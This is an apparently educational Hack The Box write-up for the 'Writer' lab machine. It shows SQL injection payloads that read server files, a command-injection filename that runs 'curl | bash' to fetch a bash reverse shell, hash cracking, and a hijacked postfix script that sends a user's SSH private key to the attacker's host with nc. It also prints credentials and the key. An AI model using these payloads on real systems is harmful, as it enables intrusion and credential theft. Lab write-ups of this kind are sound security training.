HTB WriteUps
  • â„šī¸Main Page
  • 👨‍đŸ’ģwhoami
  • Linux Machines
    • Lame
    • Shocker
    • Beep
    • Jarvis
    • Europa
    • Knife
    • Irked
    • Postman
    • Mango
    • Cap
    • Writer
    • Bashed
    • Nibbles
    • Valentine
    • SwagShop
    • Tabby
    • SolidState
    • Doctor
    • OpenAdmin
    • Haircut
    • Blocky
    • Time
    • Passage
    • Mirai
    • Popcorn
    • Magic
    • Delivery
    • Blunder
    • BountyHounter
    • Cronos
    • TartarSauce
    • Ophiuchi
    • Seal
    • Ready
    • Admirer
    • Traverxec
    • Nineveh
    • FriendZone
    • Frolic
    • SneakyMailer
    • Brainfuck
    • Jewel
    • Node
    • Networked
    • Joker
    • RedCross
    • Static
    • Zetta
    • Kotarak
    • Falafel
    • DevOops
    • Hawk
    • Lightweight
    • LaCasaDePapel
    • Jail
    • Safe
    • Bitlab
    • October
    • Book
    • Quick
    • Sink
    • Pit
    • Monitors
    • Unobtainium
    • Inception
    • Compromised
    • CrimeStoppers
    • OneTwoSeven
    • Oz
    • Ellingson
    • Holiday
    • FluJab
    • Spider
    • CTF
  • Windows Machines
    • Jerry
    • Love
    • Arctic
    • Forest
    • Fuse
    • Bastard
    • Silo
    • Devel
    • Remote
    • ServMon
    • Blue
    • Grandpa
    • Legacy
    • SecNotes
    • Omni
    • Active
    • Granny
    • Optimum
    • Worker
    • Bastion
    • Bounty
    • Buff
    • Breadcrums
    • Reel
    • Reel2
    • Conceal
    • Bankrobber
    • Jeeves
    • Bart
    • Tally
    • Netmon
    • Sizzle
    • Sniper
    • Control
    • Nest
    • Sauna
    • Cascade
    • Querier
    • Blackfield
    • APT
    • Atom
  • OTHER OS MACHINES
    • Sense
    • Luanne
    • Poison
    • Schooled
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Privilege Escalation

Was this helpful?

  1. Linux Machines

Writer

Last updated 2 years ago

Was this helpful?

Enumeration

As usual, we start with an nmap scan, in order to find open ports in the target machine.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.11.101 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.92 scan initiated Thu Mar  3 21:48:08 2022 as: nmap -sS -p- -T5 --min-rate 5000 -n -Pn -oN allPorts 10.10.11.101
Warning: 10.10.11.101 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.101
Host is up (0.091s latency).
Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

# Nmap done at Thu Mar  3 21:48:25 2022 -- 1 IP address (1 host up) scanned in 17.17 seconds

As we see, ports 22 (SSH), 80 (HTTP), 139 and 445 (SMB) are open. Let's try to obtain more information about the services and versions running on those ports.

nmap -sC -sV -p22,80,139,445 10.10.11.101 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.92 scan initiated Thu Mar  3 21:49:35 2022 as: nmap -sCV -p22,80,139,445 -oN targeted 10.10.11.101
Nmap scan report for 10.10.11.101
Host is up (0.052s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2022-03-03T20:49:49
|_  start_date: N/A
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar  3 21:49:51 2022 -- 1 IP address (1 host up) scanned in 15.88 seconds

If we take a look at the website, we'll see a blog which doesn't have anything interesting.

Let's try to enumerate directories with gobuster.

gobuster dir -u http://10.10.11.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.101
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/03/04 20:04:10 Starting gobuster in directory enumeration mode
===============================================================
/static               (Status: 301) [Size: 313] [--> http://10.10.11.101/static/]
/logout               (Status: 302) [Size: 208] [--> http://10.10.11.101/]       
/contact              (Status: 200) [Size: 4905]                                 
/about                (Status: 200) [Size: 3522]                                 
/dashboard            (Status: 302) [Size: 208] [--> http://10.10.11.101/]       
/administrative       (Status: 200) [Size: 1443]                                 
/server-status        (Status: 403) [Size: 277]                                  
                                                                                 
===============================================================
2022/03/04 20:09:24 Finished
===============================================================

Exploitation

If we take a look at the /administrative directory, we'll see a login page.

At this point, I tried to bypass the login page with a basic SQL injection payload, logging in as the user ' or 1=1-- - and a random password.

If we hit the Sign in button, we'll be redirected to the /dashboard page.

Before inspecting the /dashboard page, we could try to enumerate the database with the SQL injection we found before. Let's open Burpsuite, and send the log in request to the Repeater.

To enumerate the database, we'll have to know how many columns have the current table. We can do it by selecting n number of columns and keep incrementing the n number until we get a different response. If we select only one column, we should get Admin Panel as the title of the page.

uname=' union select 1-- -&password=admin

But, if we keep incrementing the number of columns, we'll see that we'll get a different response by selecting six columns.

uname=' union select 1,2,3,4,5,6-- -&password=admin

Now the response has the Redirecting | Writer.HTB title, and we can also see that the second column appears in the response, which means that if we select something else, like the user of the database, it will appear in the response.

uname=' union select 1,user(),3,4,5,6-- -&password=admin

Now we could try to enumerate the whole database, but I tell you in advance that the only interesting thing that you'll find is a MD5 password hash, which can't be broken. But, as MySQL has the load_file() function, which allow us to get the content of local files, we could see the system users loading the /etc/passwd file.

uname=' union select 1,load_file("/etc/passwd"),3,4,5,6-- -&password=admin

Now we know that kyle and john are system users. On the other hand, if we go back to the website, we can see that the Wappalyzer extension detected that the website uses an Apache server.

Wappalyzer is a browser extension capable of detecting the technology stack of any website. It reveals the technology stack of any website, such as CMS, ecommerce platform or payment processor, as well as company and contact details.

As we can load files, we could load the /etc/apache2/sites-available/000-default.conf file which is the Apache configuration file of the website.

uname=' union select 1,load_file("/etc/apache2/sites-available/000-default.conf"),3,4,5,6-- -&password=admin

From this information we know that the /static directory, we found earlier with gobuster, is located in /var/www/writer.htb/writer/static. And we can also see there is a .wsgi file. If we take a look at it we should see a python script.

uname=' union select 1,load_file("/var/www/writer.htb/writer.wsgi"),3,4,5,6-- -&password=admin

Welcome #!/usr/bin/python
import sys
import logging
import random
import os

# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/writer.htb/")

# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get("SECRET_KEY", "")

This python script is importing the __init__.py file from the writer folder. If we take a look at it, we will see a fairly long script.

uname=' union select 1,loadfile("/var/www/writer.htb/writer/__init__.py"),3,4,5,6-- -&password=admin

As the script has some characters in hexadecimal, to convert them to ASCII I will put the entire code in the hex_script.py file and execute the following command, so we can read the script more easily on the script.py file.

cat hex_script.py | sed 's/&#34;/"/g' | sed "s/&#39;/'/g" > script.py

But before inspecting the python script, let's keep exploring the website, now that we have access to the /dashboard page. We see that there is a Stories section in which we can add or edit stories.

Let's add one story and put some random stuff in all the text fields.

Hit the Save button, intercept the request with Burpsuite and send it to the Repeater. If you look closely at the request, you'll see that the image_url parameter, which is empty, is a hidden parameter in the /dashboard/stories/add page.

To understand a bit more what is going on, let's go back to the python script we found earlier. If you inspect the code, you'll see that under the add_story function, triggered in the /dashboard/stories/add directory, we can upload files which need to have .jpg in the name. Those files will be stored in the /var/www/writer.htb/writer/static/img/ folder. The hidden image_url parameter we found earlier also need to have .jpg in the name. And the script executes a command at a system level which renames the file indicated on the image_url parameter.

@app.route('/dashboard/stories/add', methods=['GET', 'POST'])
def add_story():
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    if request.method == "POST":
        if request.files['image']:
            image = request.files['image']
            if ".jpg" in image.filename:
                path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
                image.save(path)
                image = "/img/{}".format(image.filename)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('add.html', error=error)

        if request.form.get('image_url'):
            image_url = request.form.get('image_url')
            if ".jpg" in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system("mv {} {}.jpg".format(local_filename, local_filename))
                    image = "{}.jpg".format(local_filename)
                    try:
                        im = Image.open(image) 
                        im.verify()
                        im.close()
                        image = image.replace('/tmp/','')
                        os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                        image = "/img/{}".format(image)
                    except PIL.UnidentifiedImageError:
                        os.system("rm {}".format(image))
                        error = "Not a valid image file!"
                        return render_template('add.html', error=error)
                except:
                    error = "Issue uploading picture"
                    return render_template('add.html', error=error)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('add.html', error=error)
        author = request.form.get('author')
        title = request.form.get('title')
        tagline = request.form.get('tagline')
        content = request.form.get('content')
        cursor = connector.cursor()
        cursor.execute("INSERT INTO stories VALUES (NULL,%(author)s,%(title)s,%(tagline)s,%(content)s,'Published',now(),%(image)s);", {'author':author,'title': title,'tagline': tagline,'content': content, 'image':image })
        result = connector.commit()
        return redirect('/dashboard/stories')
    else:
        return render_template('add.html')

It's time to get a shell. First, let's set a netcat listener.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

As the script executes a command at a system level, we could try to break it with and execute whatever we want. First, let's create a file called index.html with the following content.

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.11/4444 0>&1

Next, let's set an HTTP server on port 80 with python.

python -m http.server 80

  • -m run library module as a script.

If we change the file_name of the image parameter to image.jpg;`curl 10.10.14.11|bash` and then fill the image_url parameter with file:///var/www/writer.htb/writer/static/img/test.jpg;curl 10.10.14.11|bash. The website will upload the image with that name, then it will execute the command on the name which basically will curl our local machine and execute the content on the index.html file, which sends us back a reverse shell.

------WebKitFormBoundary4r5J0Ufk1wPWlJly

Content-Disposition: form-data; name="image"; filename="test.jpg;`curl 10.10.14.11|bash`"

Content-Type: application/octet-stream





------WebKitFormBoundary4r5J0Ufk1wPWlJly

Content-Disposition: form-data; name="image_url"



file:///var/www/writer.htb/writer/static/img/test.jpg;`curl 10.10.14.11|bash`

And we should get a shell as the www-data user.

listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.101] 59942
bash: cannot set terminal process group (1062): Inappropriate ioctl for device
bash: no job control in this shell
www-data@writer:/$ whoami
whoami
www-data

Privilege Escalation

Let's set an interactive shell.

script /dev/null -c bash

At this point I started enumerating the machine and I found some credentials for the MySQL server on /etc/mysql/my.cnf.

cat /etc/mysql/my.cnf

# The MariaDB configuration file
#
# The MariaDB/MySQL tools read configuration files in the following order:
# 1. "/etc/mysql/mariadb.cnf" (this file) to set global defaults,
# 2. "/etc/mysql/conf.d/*.cnf" to set global options.
# 3. "/etc/mysql/mariadb.conf.d/*.cnf" to set MariaDB-only options.
# 4. "~/.my.cnf" to set user-specific options.
#
# If the same option is defined multiple times, the last one will apply.
#
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.

#
# This group is read both both by the client and the server
# use it for options that affect everything
#
[client-server]

# Import all .cnf files from configuration directory
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/

[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8

Let's connect to the MySQL server with these credentials.

mysql -u djangouser -pDjangoSuperPassword

  • -u user for login.

  • -p password for login.

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 196
Server version: 10.3.29-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [dev]>

Let's see what databases the djangouser user can access.

show databases;

+--------------------+
| Database           |
+--------------------+
| dev                |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)

Let's explore the dev database.

use dev;

Database changed

Let's list the tables of the database.

show tables;

+----------------------------+
| Tables_in_dev              |
+----------------------------+
| auth_group                 |
| auth_group_permissions     |
| auth_permission            |
| auth_user                  |
| auth_user_groups           |
| auth_user_user_permissions |
| django_admin_log           |
| django_content_type        |
| django_migrations          |
| django_session             |
+----------------------------+
10 rows in set (0.001 sec)

Let's see the columns of the auth_user table.

describe auth_user;

+--------------+--------------+------+-----+---------+----------------+                                                                                                 
| Field        | Type         | Null | Key | Default | Extra          |                                                                                                 
+--------------+--------------+------+-----+---------+----------------+                                                                                                 
| id           | int(11)      | NO   | PRI | NULL    | auto_increment |                                                                                                 
| password     | varchar(128) | NO   |     | NULL    |                |
| last_login   | datetime(6)  | YES  |     | NULL    |                |
| is_superuser | tinyint(1)   | NO   |     | NULL    |                |
| username     | varchar(150) | NO   | UNI | NULL    |                |
| first_name   | varchar(150) | NO   |     | NULL    |                |
| last_name    | varchar(150) | NO   |     | NULL    |                |
| email        | varchar(254) | NO   |     | NULL    |                |
| is_staff     | tinyint(1)   | NO   |     | NULL    |                |
| is_active    | tinyint(1)   | NO   |     | NULL    |                |
| date_joined  | datetime(6)  | NO   |     | NULL    |                |
+--------------+--------------+------+-----+---------+----------------+
11 rows in set (0.001 sec)

Finally, let's select the columns username, and password from the auth_user table.

select username, password from auth_user;

+----------+------------------------------------------------------------------------------------------+
| username | password                                                                                 |
+----------+------------------------------------------------------------------------------------------+
| kyle     | pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A= |
+----------+------------------------------------------------------------------------------------------+
1 row in set (0.001 sec)

And we get a password hash. We can break it with hashcat. With the following command we'll see that we'll have to use the 10000 hash type.

hashcat --example-hashes | grep pbkdf2_sha256 -B 11

Hash mode #10000
  Name................: Django (PBKDF2-SHA256)
  Category............: Framework
  Slow.Hash...........: Yes
  Password.Len.Min....: 0
  Password.Len.Max....: 256
  Salt.Type...........: Embedded
  Salt.Len.Min........: 0
  Salt.Len.Max........: 256
  Kernel.Type(s)......: pure
  Example.Hash.Format.: plain
  Example.Hash........: pbkdf2_sha256$10000$1135411628$bFYX62rfJobJ07VwrUMXfuffLfj2RDM2G6/BrTrUWkE=

If we break the hash with hashcat we'll see that the password is marcoantonio.

hashcat -a 0 -m 10000 hash /usr/share/wordlists/rockyou.txt

  • -a attack mode.

  • -m hash type.

hashcat (v6.2.5) starting

OpenCL API (OpenCL 2.0 pocl 1.8  Linux, None+Asserts, RELOC, LLVM 11.1.0, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=====================================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i7-6500U CPU @ 2.50GHz, 1441/2947 MB (512 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 5 secs

pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=:marcoantonio
                                                                                                                                                                        
Session..........: hashcat                                                                                                                                              
Status...........: Cracked                                                                                                                                              
Hash.Mode........: 10000 (Django (PBKDF2-SHA256))                                                                                                                       
Hash.Target......: pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8...uXM4A=                                                                                         
Time.Started.....: Sun Mar  6 23:09:23 2022 (7 mins, 25 secs)                                                                                                           
Time.Estimated...: Sun Mar  6 23:16:48 2022 (0 secs)                                                                                                                    
Kernel.Feature...: Pure Kernel                                                                                                                                          
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)                                                                                                              
Guess.Queue......: 1/1 (100.00%)                                                                                                                                        
Speed.#1.........:       21 H/s (10.36ms) @ Accel:32 Loops:1024 Thr:1 Vec:8                                                                                             
Recovered........: 1/1 (100.00%) Digests                                                                                                                                
Progress.........: 9408/14344385 (0.07%)                                                                                                                                
Rejected.........: 0/9408 (0.00%)                                                                                                                                       
Restore.Point....: 9344/14344385 (0.07%)                                                                                                                                
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:259072-259999                                                                                                         
Candidate.Engine.: Device Generator                                                                                                                                     
Candidates.#1....: jodete -> 120287                                                                                                                                     
Hardware.Mon.#1..: Util: 89%

Started: Sun Mar  6 23:05:30 2022
Stopped: Sun Mar  6 23:16:51 2022

Then I tried to log in with the user kyle and the password marcoantonio via SSH, and it worked.

ssh kyle@10.10.11.101

kyle@10.10.11.101's password: marcoantonio
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon  7 Mar 09:55:25 UTC 2022

  System load:           0.24
  Usage of /:            64.7% of 6.82GB
  Memory usage:          20%
  Swap usage:            0%
  Processes:             256
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.101
  IPv6 address for eth0: dead:beef::250:56ff:feb9:16c5


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Jul 28 09:03:32 2021 from 10.10.14.19
kyle@writer:~$

Now we can grab the user flag.

cat user.txt

2148d5b4050f19b4a153da1640bedf8f

If we check the groups that the user kyle is a member of, we can see that he belongs to the filter group.

id

uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)

Let's see what files have the filter group as the owner group.

find / -group filter 2>/dev/null

/etc/postfix/disclaimer
/var/spool/filter

As the /var/spool/filter folder is empty, let's work with the /etc/postfix/disclaimer file. Let's see its permissions.

ls -l /etc/postfix/disclaimer

-rwxrwxr-x 1 root filter 1021 Mar  7 10:12 /etc/postfix/disclaimer

So we can read, edit and execute the /etc/postfix/disclaimer file. Postfix is a mail server which runs on port 25.

netstat -nat

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0     36 10.10.11.101:22         10.10.14.11:35718       ESTABLISHED
tcp        0      0 10.10.11.101:60234      10.10.14.11:4444        ESTABLISHED
tcp        0      1 10.10.11.101:36806      1.1.1.1:53              SYN_SENT   
tcp6       0      0 :::445                  :::*                    LISTEN     
tcp6       0      0 :::139                  :::*                    LISTEN     
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN

And every time an email arrives, the scripts in the file /etc/postfix/master.cf are executed. Luckily for us, if we see at the bottom of the file, we'll see that the /etc/postfix/disclaimer is being executed by the user john.

cat /etc/postfix/master.cf

dfilt     unix  -       n       n       -       -       pipe
  flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}

The user john has in his home directory the .ssh folder which might have an id_rsa file.

ls -la /home/john/

total 28
drwxr-xr-x 4 john john 4096 Aug  5  2021 .
drwxr-xr-x 4 root root 4096 Jul  9  2021 ..
lrwxrwxrwx 1 root root    9 May 19  2021 .bash_history -> /dev/null
-rw-r--r-- 1 john john  220 May 14  2021 .bash_logout
-rw-r--r-- 1 john john 3771 May 14  2021 .bashrc
drwx------ 2 john john 4096 Jul 28  2021 .cache
-rw-r--r-- 1 john john  807 May 14  2021 .profile
drwx------ 2 john john 4096 Jul  9  2021 .ssh

The idea here is to edit the /etc/postfix/disclaimer file, so when we send a random email, the script will send us the id_rsa file of the user john.

We have to send an email to a user that must exists, and we can find some valid emails on the /etc/postfix/disclaimer_addresses file.

cat /etc/postfix/disclaimer_addresses

root@writer.htb
kyle@writer.htb

Next step, let's create a python script on the writer machine, which will send an email to kyle@writer.htb.

import smtplib                                                                                                                                                                                                                               
                                                                                                                                                                                                                                             
smtp_server = "127.0.0.1"                                                                                                                                                                                                                    
port = 25                                                                                                                                                                                                                                    
sender_email = "kyle@writer.htb"                                                                                                                                                                                                             
receiver_email = "kyle@writer.htb"                                                                                                                                                                                                           
message = "test"                                                                                                                                                                                                                             
                                                                                                                                                                                                                                             
try:                                                                                                                                                                                                                                         
    server = smtplib.SMTP(smtp_server,port)                                                                                                                                                                                                  
    server.sendmail(sender_email, receiver_email, message)
except Exception as e:
    print(e)
finally:
    server.quit()

Next, let's set a netcat listener on port 1234, and save the output in a file called id_rsa.

nc -lvnp 1234 > id_rsa

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Then we will have to edit the /etc/postfix/disclaimer file, remove everything, and write a command that will send the id_rsa file of the john user to our netcat listener.

nano /etc/postfix/disclaimer

#!/bin/sh
nc 10.10.14.11 1234 < /home/john/.ssh/id_rsa

Finally, all we have to do is execute the python script we made to send the random email, and we should get the id_rsa file of the john user on our netcat listener.

python3 send.py

On the netcat listener.

listening on [any] 1234 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.101] 35196

cat id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Don't worry if this whole process doesn't work at first. Keep changing the /etc/postfix/disclaimer file and try to execute the send.py script several times until it works.

Now that we have the id_rsa file, let's give it the right permissions, and use it to log in with the john user via ssh.

chmod 600 id_rsa

ssh -i id_rsa john@10.10.11.101

Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon  7 Mar 11:08:46 UTC 2022

  System load:           0.04
  Usage of /:            64.8% of 6.82GB
  Memory usage:          29%
  Swap usage:            0%
  Processes:             261
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.101
  IPv6 address for eth0: dead:beef::250:56ff:feb9:16c5


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Jul 28 09:19:58 2021 from 10.10.14.19
john@writer:~$

pspy is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute.

python -m http.server

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

On the writer machine.

wget http://10.10.14.11:8000/pspy64

--2022-03-07 11:31:07--  http://10.10.14.11:8000/pspy64
Connecting to 10.10.14.11:8000... connected.
